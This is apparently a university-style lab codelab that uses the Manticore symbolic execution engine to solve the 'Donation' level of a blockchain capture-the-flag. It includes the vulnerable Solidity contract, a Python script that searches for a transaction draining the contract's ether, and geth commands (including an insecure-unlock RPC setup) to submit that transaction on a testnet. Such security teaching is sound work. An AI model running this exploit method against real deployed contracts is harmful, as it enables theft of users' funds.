Symbolic execution is an essential tool in modern program analysis and vulnerability discovery. Symbolic execution of smart contracts is a developing field, but will most likely be a useful tool for smart contract auditing and vulnerability testing. In this codelab, you will be tackling some of the "capture-the-flag'' (CTF) exercises from Security Innovation's blockchain CTF using the open-source symbolic execution framework, manticore. Specifically, you will employ the Manticore symbolic execution engine to automatically generate a transaction that will solve the initial CTF level (Donation). You will then be able to directly submit solutions to the CTF framework using geth.

What you'll learn

What you'll need

Connect back into the manticore container by executing the following command from the VM you instantiated previously on Compute Engine. (If you have stopped your container, restart it with "docker start").

docker exec -it manticore /bin/bash

Then, within the container, re-attach to your tmux session (or recreate it)

tmux attach

Ideally, you should have at least 3 sessions.

./build/bin/geth --allow-insecure-unlock --syncmode light --testnet --rpcapi eth,web3,personal --rpc
./build/bin/geth attach http://127.0.0.1:8545/

Symbolic execution is the basis of auto exploit generation. To do symbolic execution, we work to find critical points in the code, using symbolic variables.

Symbolic input

To find exploits, we replace concrete variables (like 1 or 'A' or 0x54d7afe3) with symbolic ones that, instead of representing a single value, represent a range of values, like (not 1) or (x < 5 and x > 2). These conditionals that make up symbolic variables are called "constraints."

In order to find an exploit, we need to tell the symbolic execution engine what an exploit looks like.

Donation

In this first level, the exploit is obvious because there's a public function that allows anyone to grab all of the ether. Telling the symbolic execution engine to call this function isn't very interesting though. A more interesting experiment is simply telling manticore only that it needs to find a way to extract ether from the contract and letting it use symbolic execution to find the answer. This is a more robust way to check for security bugs in your contracts, allowing you to check if any function would lead to ether being stolen.

$ cat ~/SI_ctf_levels/Donation.sol
...
contract Donation{

        using SafeMath for uint256;
        uint256 public funds;

        constructor(address _ctfLauncher, address _player) public payable {
               funds = funds.add(msg.value);
        }

        function() external payable {
        funds = funds.add(msg.value);
        }

        function withdrawDonationsFromTheSuckersWhoFellForIt() external {
        msg.sender.transfer(funds);
        funds = 0;
        }

}

In this example, we've setup the manticore symbolic executor to inspect the Donation contract for critical endpoints and we've told it that it needs to find an input where our attacker gets all of the ether from the victim contract.

$ cat ~/manticore_scripts/donation_solution.py
...
# instantiate manticore's Ethereum Virtual Machine
m = ManticoreEVM()

# create a virtual user account on the EVM
user_account = m.create_account(address=from_address, balance=contract_balance)

# create our contract
contract_account = m.solidity_create_contract(
        contract_src, # a string containing the source file
        contract_name="Donation", # the contract in the source file that we want to create (a file could have multiple contracts)
        owner=user_account, # the creator address for this first exploit, we can use our own account to create it (this may not be true for future levels)
        balance=contract_balance, # the value to send to the contructor (this will actually be deducted from our virtual address)
        args=(0,0) # in the downloaded contract, these arguments aren't used
        )

# ethereum contracts only have one entry point and use a switch statement to determine which function was called
# solidity compiles this switch statement to check the first 4 bytes of the input and match this to the first 4 bytes of the keccak256 hash of the function signature
# the function signature always looks like a function stub, with parameter names removed, like this:
# iAmAFunction(uint256,uint256)
# to allow manticore to call any function, we'll setup the symbolic execution engine so that it has 4 free bytes to play with
buff = m.make_symbolic_buffer(4)
# now, we contrain the execution with a transaction
m.transaction(caller=user_account, address=contract_account.address, data=buff, value=0, gas=gas)

# for states that are still running (haven't reverted due to our transaction contraint) let's iterate through them and see if any allow for an exploit
for state in m.running_states:
        # this is just some silly manticore stuff
        world = state.platform
        # stealing back all the ether is a good way of proving that an exploit exists
        if state.can_be_true(world.get_balance(user_account.address) == contract_balance):
          state.constraints.add(world.get_balance(user_account.address) == contract_balance)
          result = state.solve_one(buff)
          # print out our transaction
          print("eth.sendTransaction({data:\"0x"+binascii.hexlify(result).decode('utf-8')+"\", from:\""+hex(from_address)+"\", to:\""+hex(si_level_address)+"\", gas:"+str(gas)+"})")
          # this prints the exploit out in a format that you can easily paste into geth to win
          sys.exit(0) # we only needed one state!

Now, inside your tmux shell, you can run the manticore script. Ensure that you use the correct address for the CTF level and your own wallet address for the fields in red.

cd manticore_scripts
python3 donation_solution.py 0xYourWalletAddress 0xCtfLevelAddress

This will attack the SI level in /home/auditor/SI_ctf_levels/Donation.sol on the container and find an exploit that solves it.

Take a screenshot of the Manticore script output with the transaction.

Using different versions of Solidity

Modifying the PATH variable is important to know if you want to use a different version of Solidity. This can be done by modifying the line at the end of your .bashrc file:

$ tail -1 ~/.bashrc
export PATH=$PATH:~/solidity_versions/0.4.24/

Of course you'll need to find the correct solc file for the version you want and put it in the appropriate directory.

You can reverse the attack that the manticore script spits out and put the arguments into Remix, or you can directly paste it into geth's sendTransaction function to win the level automatically. In order to do this, you have to utilize the geth light node set up previously. (Note: that it must be fully synced to handle the transaction you will send it and you will need to have imported your wallet into it for it to use to sign transactions from your address)

In your interactive geth session, unlock the wallet you previously instantiated:

personal.unlockAccount(eth.accounts[0])

You can now send the transaction that Manticore generated for you.

eth.sendTransaction({from:"0xYourAddress", data:"0x05b0e426", to:"0xSICtfLevelAddress", gasPrice:10000000})

Screenshot the output (i.e. the resulting transaction hash), then paste the transaction hash into Etherscan and show a screenshot of it showing the transfer from the CTF level contract back to your wallet. Include both in your lab notebook. You do not need to commit the code into Bitbucket.

If your transaction takes a long time, try upping the gas price. This should complete the CTF level, reducing the contract to 0 ether.

Troubleshooting

If you receive an error from geth attach like:

Error: no suitable peers available

Ensure your geth light node is syncing and is caught up. If it is, you will need to restart geth. Exit out of the interactive geth session, then kill (Ctrl-c) the the geth session performing the syncing and then bring both back up as described in the prior lab.

Congratulations on applying symbolic execution to automatically retrieve money from a smart contract. Continue to the next level for more!